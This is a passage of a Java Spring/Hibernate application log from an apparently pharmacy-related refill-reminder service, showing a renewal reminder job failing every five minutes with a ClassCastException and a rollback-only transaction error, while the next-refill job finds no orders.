org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at 